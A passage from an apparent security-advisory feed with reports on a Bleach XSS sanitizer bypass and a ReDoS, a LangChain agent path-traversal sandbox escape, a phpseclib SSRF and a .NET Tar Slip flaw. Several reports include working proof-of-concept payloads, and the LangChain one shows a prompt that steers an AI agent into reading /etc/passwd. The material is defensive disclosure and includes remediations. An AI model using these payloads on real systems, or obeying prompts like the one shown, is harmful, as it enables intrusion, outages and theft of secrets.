  A[&quot;Attacker Input: javascript\u200b:alert(1)&quot;] --&gt; B[&quot;Bleach Sanitizer v6.3.0&quot;]
  B --&gt; C[&quot;urllib.parse fails to detect scheme&quot;] 
  C --&gt; D[&quot;Bleach approves and outputs raw HTML&quot;]
  D --&gt; E[&quot;Downstream normalizer strips non-ASCII&quot;]
  E --&gt; F[&quot;Resulting HTML: javascript:alert(1)&quot;]
  F --&gt; G[&quot;Target browser executes payload (XSS)&quot;]
  style A fill:#f99,stroke:#333
  style G fill:#ff9,stroke:#333
```

A Python proof of concept demonstrates how Bleach preserves the payload while downstream execution collapses it into a functional exploit vector:

```python
import bleach
import re

# Configure sanitizer allowlists
allowed_tags = [&apos;a&apos;]
allowed_attrs = {&apos;a&apos;: [&apos;href&apos;]}
allowed_protocols = [&apos;http&apos;, &apos;https&apos;]

# Construct input payload with Zero-Width Space (\u200b)
raw_input = &apos;&lt;a href=&quot;javascript\u200b:alert(document.cookie)&quot;&gt;Target Link&lt;/a&gt;&apos;

# Stage 1: Bleach sanitization (v6.3.0)
sanitized_output = bleach.clean(raw_input, tags=allowed_tags, attributes=allowed_attrs, protocols=allowed_protocols)
print(&quot;Sanitized Output:&quot;, repr(sanitized_output))
# Result: &apos;&lt;a href=&quot;javascript\u200b:alert(document.cookie)&quot;&gt;Target Link&lt;/a&gt;&apos;

# Stage 2: Downstream Normalization (dropping non-ASCII characters)
final_html = re.sub(r&quot;[^\x00-\x7f]&quot;, &quot;&quot;, sanitized_output)
print(&quot;Final Rendered HTML:&quot;, repr(final_html))
# Result: &apos;&lt;a href=&quot;javascript:alert(document.cookie)&quot;&gt;Target Link&lt;/a&gt;&apos;
```

{/* icon: skull */}
{/* type: deep-dive */}
## Impact &amp; Security Risk Assessment

The CVSS Base Score is evaluated as 0.0 (Low) due to the reliance on downstream processing to trigger the vulnerability in typical web browser environments. However, in applications that perform multi-stage processing, database character conversion, or Unicode normalization post-sanitization, this represents a severe stored Cross-Site Scripting (XSS) pathway.

An attacker who successfully executes XSS via this bypass can bypass the Same-Origin Policy (SOP), hijack user sessions, read confidential application data, extract session cookies, or execute arbitrary authenticated actions on behalf of the victim.

Furthermore, this vulnerability breaks the absolute safety contract promised by Bleach to callers. Developers rely on sanitizers to output clean, safe fragments regardless of the downstream processing architecture. Failing to filter these vectors introduces security degradation across complex application architectures.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Migration Guidance

The immediate remediation is to upgrade to Mozilla Bleach version 6.4.0. This is the final release of the library and patches the vulnerability by stripping non-ASCII characters prior to scheme parsing.

```bash
pip install --upgrade bleach==6.4.0
```

Because Bleach is officially deprecated and has reached End-of-Life (EOL), organizations should plan a migration path to an actively maintained alternative. The recommended alternative is &apos;nh3&apos;, which provides Python bindings to the Rust-based &apos;ammonia&apos; HTML sanitizer library. Ammonia enforces strict, RFC-compliant URI validation and is not subject to this Unicode parsing issue.

Where upgrading is not immediately possible, implement a pre-processing filter to strip Unicode invisible characters (such as `\u200b`, `\ufeff`, and `\u00ad`) before submitting strings to Bleach:

```python
import re

def pre_sanitize(html_input):
    # Remove common invisible Unicode characters prior to Bleach processing
    unicode_pattern = re.compile(r&quot;[\u200b\ufeff\u00ad]&quot;)
    return unicode_pattern.sub(&quot;&quot;, html_input)
```

Deploy a robust Content Security Policy (CSP) header to mitigate potential script execution if an active scheme bypasses the filters. Ensure the policy prevents inline scripts and script execution via URI schemes:

```http
Content-Security-Policy: default-src &apos;self&apos;; script-src &apos;self&apos;;
```</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-G75F-G53V-794X: CPU Exhaustion via Unbounded Email Regular Expression Scanning in Bleach]]></title>
            <description><![CDATA[A ReDoS vulnerability in Bleach's email linkifier allows remote attackers to cause severe CPU exhaustion by submitting a 30KB payload of repeating dot-atom sequences, resulting in thread starvation and denial of service.]]></description>
            <link>https://cvereports.com/reports/GHSA-G75F-G53V-794X</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-G75F-G53V-794X</guid>
            <category><![CDATA[bleach Python package]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 14:07:30 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-G75F-G53V-794X/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The Python `bleach` package provides HTML sanitization and linkification utilities commonly used to parse user-submitted text and render safe HTML content. One key feature is the `linkify` module, which converts plain-text URLs and email addresses into clickable HTML anchor tags. When processing text with email linkification enabled, the library relies on a regular expression compilation function to locate and format valid email addresses.

This vulnerability belongs to the Inefficient Regular Expression Complexity class (CWE-1333), also categorized under Uncontrolled Resource Consumption (CWE-400). The attack surface is exposed whenever an application accepts untrusted text inputs and processes them using `bleach.linkify()` with the `parse_email=True` parameter enabled.

Because the underlying regular expression engine executes without an explicit timeout, input length boundaries, or linear-time pre-filtering, an attacker can construct input sequences that exploit the pattern matching logic. The resulting CPU exhaustion can degrade application performance, consume all available server worker threads, and trigger a denial of service condition.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The vulnerability resides in the `build_email_re` function inside `bleach/linkifier.py`, which constructs the regular expression used to scan text tokens. The function utilizes a complex pattern to match the local-part (the section before the `@` symbol) of email addresses. This pattern is structured around a sequence of valid characters followed by optional repetitions of a dot and additional characters.

The specific dot-atom sub-pattern in the compiled regular expression is defined as `([-!#$%&amp;&apos;*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&amp;&apos;*+/=?^_`{}|~0-9A-Z]+)*`. This matching rule requires that each period character (`.`) be followed by at least one valid local-part character. The engine scans the input token sequentially, attempting to validate the expression.

When the input contains a repeating sequence of characters like `a.` (such as `a.a.a.a.a.a...`) but lacks the mandatory `@` symbol and domain component, the engine suffers a design flaw during the lookup phase. The engine first matches the entire pattern up to the end of the input string. Once it reaches the end of the string and fails to locate the `@` symbol, the match attempt at the current index fails.

Instead of abandoning the search, the engine shifts its scan pointer forward. The engine advances to the next valid starting position and repeats the entire sequence matching process down to the end of the string. For an input of length $N$, this results in overlapping scans that scale quadratically: the first scan processes $N$ characters, the second scans $N-2$, the third scans $N-4$, and so on. This produces a total instruction complexity proportional to $O(N^2)$, causing significant CPU time accumulation.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

The vulnerable code path is initiated during tokenization within the `LinkifyFilter.handle_email_addresses` method. When iterating over text tokens, if the token type is identified as &quot;Characters&quot;, the library executes `self.email_re.finditer(text)` to locate matching instances.

```python
# Vulnerable implementation in bleach/linkifier.py

def build_email_re(tlds=TLDS):
    return re.compile(
        r&quot;&quot;&quot;(?&lt;!//)
        (([-!#$%&amp;&apos;*+/=?^_`{{}}|~0-9A-Z]+
            (\.[-!#$%&amp;&apos;*+/=?^_`{{}}|~0-9A-Z]+)*  # Dot-atom local-part
        |^&quot;([\001-\010\013\014\016-\037!#-\[\]-\177]
            |\\[\001-\011\013\014\016-\177])*&quot;  # Quoted-string local-part
        )@(?:[A-Z0-9](?:[A-Z0-9-]{{0,61}}[A-Z0-9])?\.)+(?:{0}))
        &quot;&quot;&quot;.format(
            &quot;|&quot;.join(tlds)
        ),
        re.IGNORECASE | re.MULTILINE | re.VERBOSE,
    )
```

The matching loops are executed sequentially within the token handler method:

```python
def handle_email_addresses(self, src_iter):
    &quot;&quot;&quot;Handle email addresses in character tokens&quot;&quot;&quot;
    for token in src_iter:
        if token[&quot;type&quot;] == &quot;Characters&quot;:
            text = token[&quot;data&quot;]
            new_tokens = []
            end = 0

            # This call triggers the O(N^2) evaluation loop
            for match in self.email_re.finditer(text):
                # Process the matches...
```

Because `finditer` processes the entire string from multiple starting positions sequentially, it cannot determine that a match is impossible without traversing the entire remaining string length on each attempt. This behavior occurs because the pattern allows multiple overlapping permutations of dot-atoms before checking for the static `@` character.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploiting this vulnerability does not require authentication if the target application processes user-supplied text on a public endpoint. An attacker needs to submit a long text string consisting of repeating local-part character groups separated by periods, intentionally omitting the `@` character. A payload size of approximately 30,000 bytes is sufficient to cause measurable thread blocking.

```python
import bleach
import time

# Construct the exploit payload (30,001 bytes)
payload = (&quot;a.&quot; * 15000) + &quot;a&quot;

print(&quot;Executing linkify parsing...&quot;)
start = time.time()

# Triggers the quadratic scanning behavior
bleach.linkify(payload, parse_email=True)

print(f&quot;Execution completed in {time.time() - start:.4f} seconds&quot;)
```

When a single core executes this script, the CPU utilization spikes to 100 percent for approximately 8.7 seconds. In a production web application using multi-worker servers like Gunicorn, uWSGI, or Celery, sending multiple concurrent requests containing this payload will exhaust all available worker threads. While the worker threads are occupied recalculating the regex matches, the application will fail to respond to any incoming legitimate traffic.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The security impact is restricted to a localized Denial of Service (DoS). The vulnerability does not allow remote code execution, data exfiltration, or unauthorized privilege escalation. However, because many web frameworks deploy a limited number of synchronous worker processes, a sustained flood of small payloads can cause a prolonged service outage.

The CVSS v3.1 base score is assessed at 4.3 (Medium), with the vector string `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L`. This reflects that the vulnerability is remotely exploitable, has low attack complexity, requires low privileges, requires no user interaction, and has a low but distinct impact on application availability.

```mermaid
graph LR
  A[&quot;Malicious Request&quot;] --&gt; B[&quot;Application Server&quot;]
  B --&gt; C[&quot;Bleach linkify(parse_email=True)&quot;]
  C --&gt; D[&quot;EMAIL_RE.finditer()&quot;]
  D --&gt; E[&quot;O(N^2) Quadratic Scan&quot;]
  E --&gt; F[&quot;CPU Core Bound at 100%&quot;]
  F --&gt; G[&quot;Worker Thread Exhaustion&quot;]
  G --&gt; H[&quot;Denial of Service (DoS)&quot;]
```

Because the `bleach` package is officially deprecated by its maintainers, no official patches or security releases are planned. Consequently, the vulnerability is likely to remain present in systems that continue to use the package without manual mitigation.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation

To mitigate this vulnerability, developers can implement several programmatic workarounds. The most direct approach is to disable the `parse_email` argument. If email address parsing is not a core functional requirement of your application, ensure that `parse_email` is set to `False`.

If email parsing is required, a highly efficient linear-time ($O(N)$) pre-filter check should be implemented. Because an email address must contain an `@` character, checking for its presence using Python&apos;s optimized `in` keyword will prevent the regular expression engine from running on invalid inputs. This check resolves the performance issue for malicious payloads with zero computational overhead.

```python
def safe_linkify(text, parse_email=True):
    # If parse_email is True but no &apos;@&apos; symbol is present,
    # bypass email linkification to prevent CPU exhaustion.
    if parse_email and &quot;@&quot; not in text:
        return bleach.linkify(text, parse_email=False)
    
    return bleach.linkify(text, parse_email=parse_email)
```

Additionally, applications should enforce strict length boundaries on all incoming user-submitted text fields. Limiting input fields to a maximum of 2,000 characters prevents attackers from submitting the large strings necessary to trigger prolonged CPU stalls.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-GR75-JV2W-4656: Path Traversal and Sandbox Escape in LangChain File-Search Middleware and Loaders]]></title>
            <description><![CDATA[Insecure path resolution, missing symlink checks, and a path-prefix boundary bypass in LangChain allow attackers to escape file sandboxes via directory traversal or symbolic links.]]></description>
            <link>https://cvereports.com/reports/GHSA-GR75-JV2W-4656</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-GR75-JV2W-4656</guid>
            <category><![CDATA[LangChain core file-search middleware]]></category>
            <category><![CDATA[LangChain-Anthropic integration modules]]></category>
            <category><![CDATA[Autonomous LLM agents with filesystem tools]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 15:03:14 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-GR75-JV2W-4656/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

GHSA-GR75-JV2W-4656 is a path traversal and sandbox escape vulnerability identified within the LangChain library ecosystem, specifically affecting the `langchain` and `langchain-anthropic` Python packages. The LangChain ecosystem provides developers with frameworks to build applications powered by Large Language Models (LLMs), including autonomous agents that interact with the physical filesystem. To support file-related operations, LangChain implements middleware, directory search loaders, and config readers that parse file paths dynamically.

The integration of file-handling capabilities within LLM-controlled environments introduces a substantial attack surface. When LLMs are permitted to call filesystem-backed tools with arguments derived from untrusted user instructions, the application relies entirely on the underlying software boundaries to enforce directory restrictions. If the software boundaries are flawed, the LLM agent can be coerced into accessing files beyond its operational sandbox.

The vulnerability occurs because LangChain&apos;s internal path resolution mechanisms do not strictly restrict resolved paths to their specified root directories. This design deficiency manifests as an improper limitation of pathnames to a restricted directory (CWE-22) and improper link resolution before file access (CWE-59). An attacker can exploit this weakness to traverse the filesystem or follow symbolic links pointing to sensitive administrative files.

By leveraging this flaw, an attacker who can input text into the LLM prompt can trigger arbitrary file reads. The attack does not require direct access to the command line of the server hosting the application, as the LLM agent acts as an execution proxy. The vulnerability is highly operationalizable in any configuration that links LLMs with local workspace search tools.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The technical root cause of GHSA-GR75-JV2W-4656 comprises three major logical and implementation failures. First, the file-search agent middleware validates the existence of the root directory but fails to validate or sanitize search patterns (such as glob patterns and relative traversals). If an input pattern contains relative path modifiers like `../../`, the middleware evaluates them relative to the root but permits the resolution of files outside that boundary.

Second, the middleware does not perform post-resolution path validation using canonicalized absolute paths. When resolving file paths, the system retrieves and reads files without verifying if the fully resolved target path is a subpath of the allowed root. If the allowed root directory contains symbolic links pointing to sensitive system files, the system dereferences and reads the target file instead of throwing an access violation. This represents a classic symbolic link vulnerability (CWE-59).

Third, the application utilizes an insecure string-prefix comparison to enforce directory boundaries. Specifically, the system validates paths by verifying whether `candidate_path.startswith(allowed_root)` evaluates to true. This validation strategy is insecure when the `allowed_root` string does not end with a directory separator. For example, if the root path is `/usr/app`, a candidate path of `/usr/app-secrets/config.json` satisfies the prefix condition despite pointing to a completely different directory. This allows attackers to access sibling directories sharing the same prefix string.

These three failures combine to create multiple escape vectors. An attacker can use directory traversal to read files relative to the workspace, use symbolic links to bypass detection when standard input validation is active, or use prefix matching flaws to access sibling application directories that might hold separate database credentials or application tokens.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

To understand the vulnerability, consider the following implementation of the vulnerable path verification mechanism:

```python
# Vulnerable Path Check Implementation
import os

def secure_file_load(user_path, safe_directory=&quot;/usr/app&quot;):
    # VULNERABILITY 1: Insecure prefix matching
    # If safe_directory is &apos;/usr/app&apos;, &apos;/usr/app-secrets&apos; matches
    if not user_path.startswith(safe_directory):
        raise ValueError(&quot;Access Denied&quot;)

    # VULNERABILITY 2: Missing path canonicalization
    # User path can be &apos;/usr/app/../../etc/passwd&apos;
    # The startswith check succeeds, but the system accesses /etc/passwd
    with open(user_path, &apos;r&apos;) as f:
        return f.read()
```

The patched version introduces strict path canonicalization using `os.path.realpath` or `Path.resolve()` to resolve all relative segments and symbolic links. It also enforces correct boundary checking by appending the directory separator or using path parent comparisons:

```python
# Patched Path Check Implementation
import os
from pathlib import Path

def secure_file_load_patched(user_path, safe_directory=&quot;/usr/app&quot;):
    # Canonicalize safe directory and candidate path
    safe_path = Path(safe_directory).resolve()
    candidate_path = Path(user_path).resolve()

    # Verify directory boundary using relative_to or checking parent structures
    try:
        # relative_to raises ValueError if candidate_path is not under safe_path
        candidate_path.relative_to(safe_path)
    except ValueError:
         raise ValueError(&quot;Access Denied: Path is outside of safe directory&quot;)

    with open(candidate_path, &apos;r&apos;) as f:
        return f.read()
```

The patch successfully remediates all three root causes. By resolving the realpath before executing the comparison, the system prevents both directory traversal sequences and symbolic link resolution attacks. Furthermore, using `pathlib.Path.relative_to` or ensuring a proper path separator prevents sibling directory prefix bypasses.

Architects must ensure that similar resolution bugs are not present in custom tools added to LangChain. Many developer-defined tools use raw `os.path.join` or custom regex filters that fail under complex Windows-specific or Unix-specific canonicalization edge cases. The use of standard library components like `pathlib` is strongly recommended for security-critical path parsing.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of GHSA-GR75-JV2W-4656 is highly contextual and depends on the application&apos;s configuration. In a typical scenario, an LLM-powered agent is integrated with a custom tool that leverages LangChain&apos;s vulnerable file-search middleware. The agent is configured with a restricted sandbox directory, such as `/home/user/workspace/`.

An attacker sends a malicious prompt to the LLM agent designed to trigger the filesystem search tool. The prompt contains instruction structures or relative path strings intended to bypass application logic, such as: `&quot;Search for files matching the pattern &apos;../../../../etc/passwd&apos; and display their contents.&quot;`. The LLM agent, interpreting this as a valid execution command, calls the underlying file-search tool with the malicious pattern.

Since the middleware does not validate the resolved path of the matched files against the allowed root directory, it executes the search and reads the contents of `/etc/passwd`. The output is then passed back to the LLM context and subsequently returned to the attacker. If the application environment contains symbolic links, the attacker can leverage existing links to escape the container&apos;s designated workspace without using explicit traversal sequences.

Furthermore, if the application loads configuration files dynamically from shared directories, an attacker with write access to a collaborative space can upload a modified YAML configuration file. This file can declare prompt templates that point to local files outside the permitted workspace. When the configuration loader parses the file, it resolves the unauthorized paths, leading to automatic data exposure during agent initialization.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The impact of GHSA-GR75-JV2W-4656 is rated as Moderate with a CVSS v3.1 score of 4.7. The CVSS vector is `CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`. Although the CVSS rating is Moderate due to the Local (AV:L) attack vector and High complexity (AC:H), the vulnerability poses a substantial confidentiality risk to applications deploying autonomous agents on server environments.

Successful exploitation allows unauthenticated attackers to read arbitrary files from the filesystem of the host running the LangChain application. This can result in the exposure of configuration files, environment variables, database credentials, API keys, and sensitive source code. The severity escalates if the LangChain application runs with elevated operating system privileges, enabling access to system files like `/etc/shadow` or sensitive cloud metadata keys.

The high complexity (AC:H) rating reflects the requirement that the target application must expose vulnerable file-search or config-loading APIs to untrusted inputs. However, in modern LLM applications where agents dynamically process arbitrary user prompts, this configuration is increasingly common, heightening the real-world likelihood of exploitation.

There is no integrity or availability impact associated with this vulnerability directly. However, the retrieval of environment variables and database keys frequently provides attackers with the initial access vectors needed to pivot to more intrusive actions, such as remote command execution or complete cloud tenant compromise.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation and Mitigation

To address the vulnerability, developers must upgrade the affected packages to safe versions. Specifically, update `langchain` to version `1.3.9` or later, and `langchain-anthropic` to version `1.4.6` or later. These versions incorporate safe canonicalization and boundary verification logic for all file access routines.

If immediate upgrading is not possible, developers should implement temporary workarounds. First, restrict the operating system user running the LangChain application to minimal filesystem permissions. Ensure that the application process cannot read sensitive system directories or files outside its immediate operational directory.

Second, disable directory-level tools in LLM agents when handling untrusted user input. If file-searching capabilities are strictly required, implement a validation wrapper around the LangChain components. This wrapper must resolve paths to their absolute real paths using `Path.resolve()` and verify that the target directory strictly matches the prefix of the permitted workspace directory, appending a trailing path separator before executing the check.

Finally, use containerization to enforce absolute process-level isolation. Deploying the application inside a non-privileged Docker container restricts the host filesystem exposure to only the files mounted within the container volume. Even if a path traversal occurs, the attacker remains trapped in the isolated container namespace and cannot access the underlying host OS configurations.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-m557-wrgg-6rp4: Server-Side Request Forgery via Authority Information Access (AIA) Chasing in phpseclib]]></title>
            <description><![CDATA[An insecure default configuration in phpseclib enables dynamic retrieval of Certificate Authority certificates via Authority Information Access (AIA) extensions. Because these target URLs are extracted directly from user-supplied certificates and processed without destination validation, attackers can initiate arbitrary outbound GET requests to internal networks and cloud metadata servers.]]></description>
            <link>https://cvereports.com/reports/GHSA-M557-WRGG-6RP4</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-M557-WRGG-6RP4</guid>
            <category><![CDATA[phpseclib/phpseclib (Packagist/Composer Package)]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 15:03:58 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-M557-WRGG-6RP4/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The PHP Secure Communications Library (phpseclib) is a pure-PHP implementation of cryptographic and public-key infrastructure primitives. Within its X.509 validation module, `File/X509.php`, the library supports dynamic path validation to construct complete certificate trust chains. If a validated certificate is signed by an intermediate certificate authority that is not present in the local trust store, the library tries to retrieve the missing certificate dynamically.

This behavior, defined as Authority Information Access (AIA) Chasing under RFC 4325, parses the `id-pe-authorityInfoAccess` extension inside the certificate to locate the parent CA URI. When an application parses an untrusted certificate containing this extension, phpseclib extracts the URI specified in the `id-ad-caIssuers` access method and issues an HTTP GET request to download the issuer&apos;s certificate.

However, because dynamic AIA chasing was enabled by default without destination validation, the implementation introduces a Server-Side Request Forgery (SSRF) vulnerability. An attacker capable of submitting or uploading a crafted certificate to an application using phpseclib can fully control the destination host, port, and query string of the resulting outbound HTTP request. The lack of destination restrictions means that the server can be forced to connect to internal systems, loopback interfaces, or cloud metadata endpoints.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of GHSA-m557-wrgg-6rp4 is a structural vulnerability arising from three compounding deficiencies: input trust issues, unsafe default behavior, and a lack of egress verification. The primary failure is the direct ingestion and parsing of unvalidated metadata from untrusted sources. Because the `id-pe-authorityInfoAccess` extension resides within the certificate body itself, any attacker can specify an arbitrary URL during certificate generation.

During signature evaluation, the validation pipeline triggers `testForIntermediate()` to find parent certificates. The library parses the certificate&apos;s extensions, extracts the value of the `uniformResourceIdentifier` inside the AIA structure, and passes it directly to the static method `fetchURL()`. No validation is performed on the host or scheme before this transition.

Finally, the `fetchURL()` method uses PHP&apos;s native `fsockopen()` function to establish a raw TCP connection to the extracted destination. Prior to the remediation, the static Boolean property `$disable_url_fetch` was initialized to `false` by default, activating dynamic HTTP requests out-of-the-box. Furthermore, `fetchURL()` lacks any destination restrictions or loopback blocklists, leaving the validating server vulnerable to arbitrary intranet interactions.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

In affected versions of phpseclib, the dynamic fetching process begins inside `File/X509.php` when the signature validation engine fails to find a pre-loaded local issuer. The code extracts the target URL and directly initiates a socket handshake via `fetchURL()` without structural checks on the destination address.

```php
// Vulnerable logic in File/X509.php prior to remediation
private static function fetchURL(string $url): ?string
{ 
    if (self::$disable_url_fetch) { // Default is false
        return null;
    }
    $parts = parse_url($url);
    if (!isset($parts[&apos;scheme&apos;]) || !isset($parts[&apos;host&apos;])) {
        return null;
    }
    switch ($parts[&apos;scheme&apos;]) {
        case &apos;http&apos;:
            // Open socket to arbitrary host and port controlled by the attacker
            $fsock = @fsockopen($parts[&apos;host&apos;], $parts[&apos;port&apos;] ?? 80, $errno, $errstr, 5);
            if (!$fsock) {
                return null;
            }
            $path = ($parts[&apos;path&apos;] ?? &apos;/&apos;) . (isset($parts[&apos;query&apos;]) ? &apos;?&apos; . $parts[&apos;query&apos;] : &apos;&apos;);
            fputs($fsock, &quot;GET $path HTTP/1.0\r\n&quot;);
            fputs($fsock, &quot;Host: $parts[host]\r\n\r\n&quot;);
            ...
```

The remediation introduces a mechanism to intercept and validate or entirely block these outbound requests. In versions 1.0.30, 2.0.55, and 3.0.54, a callback execution pattern is established, allowing developers to define custom egress filtering.

```php
// Remediated logic in File/X509.php introducing callback delegation
private static $url_fetch_callback = null;

public static function setURLFetchCallback(callable $callback)
{ 
    self::$url_fetch_callback = $callback;
}

private static function fetchURL(string $url): ?string
{ 
    if (self::$disable_url_fetch) {
        return null;
    }
    // If a custom validation callback is registered, delegate handling
    if (is_callable(self::$url_fetch_callback)) {
        return call_user_func(self::$url_fetch_callback, $url);
    }
    
    // Standard fallback logic applies restricted handling or blocks fetching
    ...
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation and Attack Mechanics

To exploit GHSA-m557-wrgg-6rp4, an attacker must target an application interface that parses and validates client-supplied certificates, such as WebID-TLS endpoints, S/MIME message processors, or SAML metadata upload endpoints. The attacker prepares a leaf certificate and configures the AIA extension field to point to an internal resource or port.

```mermaid
graph LR
  Attacker[&quot;Attacker&quot;] -- &quot;1. Submits certificate with custom AIA extension&quot; --&gt; App[&quot;Target Application (phpseclib)&quot;]
  App -- &quot;2. Calls validateSignature()&quot; --&gt; X509[&quot;X509 Component&quot;]
  X509 -- &quot;3. Triggers fetchURL() on AIA caIssuers URI&quot; --&gt; Socket[&quot;fsockopen() Socket Creation&quot;]
  Socket -- &quot;4. HTTP GET to loopback or metadata service&quot; --&gt; Internal[&quot;Internal Target (e.g., 169.254.169.254)&quot;]
```

Once the application processes the certificate and triggers `$x509-&gt;validateSignature()`, phpseclib parses the extension and extracts the target URI. The validation execution triggers an outbound GET request to the target URI regardless of whether the signature eventually fails to validate. This provides an attacker with a blind SSRF capability, allowing them to map internal networks or interact with unauthenticated REST endpoints.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The CVSS v3.1 vector string is evaluated as `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N`, yielding a Moderate severity score of 5.8. Because the Scope parameter is set to Changed (S:C), the vulnerability is characterized by its potential to cross security boundaries—such as transitioning from a public web server context to an isolated internal administrative domain.

In cloud environments, attackers can target the link-local address `169.254.169.254`. This allows access to Instance Metadata Services (IMDSv1) on AWS, Azure, or Google Cloud, which frequently contain active IAM credentials, configuration parameters, or environment variables. Exposure of these endpoints can lead to full host or cloud account compromise.

In local environments, this flaw facilitates internal network mapping and port scanning. Attackers can execute HTTP requests to local database sockets, Redis instances (`127.0.0.1:6379`), or internal administrative utilities. Because the HTTP response is parsed solely for X.509 compatibility, direct data extraction is minimized, but request-forgery actions (such as sending command payloads via URI parameters) remain fully viable.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Defenses

Remediation requires upgrading the `phpseclib/phpseclib` dependency to the designated secure versions: `1.0.30`, `2.0.55`, or `3.0.54`. These releases introduce the capability to intercept dynamic fetches and implement proper host validation.

If immediate upgrading is not possible, developers must explicitly call `X509::disableURLFetch()` prior to parsing or validating untrusted certificates. This permanently deactivates dynamic fetching, preventing the execution of `fetchURL()` during signature validation.

For systems where dynamic AIA chasing is a business requirement, developers using the patched releases must invoke `X509::setURLFetchCallback()` to register a custom verification hook. This hook must validate that target hostnames do not resolve to local loopback ranges, private class subnets (RFC 1918), or link-local targets (RFC 3927) before allowing the socket connection to proceed.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-45491: Directory Traversal via Improper Link Resolution in .NET System.Formats.Tar]]></title>
            <description><![CDATA[System.Formats.Tar in .NET 8.0, 9.0, and 10.0 fails to validate symbolic link targets during extraction, enabling local directory traversal and arbitrary file writes (Tar Slip).]]></description>
            <link>https://cvereports.com/reports/CVE-2026-45491</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-45491</guid>
            <category><![CDATA[.NET Core and .NET runtimes on Linux (Ubuntu, RHEL, Rocky, Alma, Amazon Linux, Alpine, Oracle Linux)]]></category>
            <category><![CDATA[.NET Core and .NET runtimes on Windows]]></category>
            <category><![CDATA[ASP.NET Core applications incorporating archive upload or processing components]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 14:33:40 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-45491/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The System.Formats.Tar namespace in .NET provides APIs to read, write, and manipulate TAR archives. Among these APIs, the TarFile.ExtractToDirectory method is commonly utilized to automate archive extraction in diverse environments, including cloud services, web applications, and automated file-ingestion pipelines.

This implementation is vulnerable to a &quot;Tar Slip&quot; directory traversal flaw classified under CWE-59 (Improper Link Resolution Before File Access). The vulnerability exposes applications to file system tampering if they extract untrusted archives. An attacker can craft an archive containing symbolic links that, when resolved, point to locations outside the designated extraction directory.

Because the extraction utility processes the link entries sequentially, subsequent files in the archive can be written through these malicious links. This bypasses the logical isolation of the extraction sandbox, allowing arbitrary modifications of files owned by the extraction process on the local file system.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-45491 resides within the path resolution and extraction logic of System.Formats.Tar.TarFile.ExtractToDirectory. During the processing of a TAR archive, the engine evaluates file entries sequentially. When encountering a symbolic link entry (TarEntryType.SymbolicLink), the engine creates a relative link within the extraction directory pointing to the target specified in the header.

In vulnerable versions of the runtime, the library does not perform validation or canonicalization on the symbolic link&apos;s target path. An entry can declare its target path as a relative path utilizing directory traversal sequences (e.g., ../../../../../etc/cron.d). The library creates the symbolic link pointing to this arbitrary path without verifying if the resolved destination falls outside the extraction directory boundary.

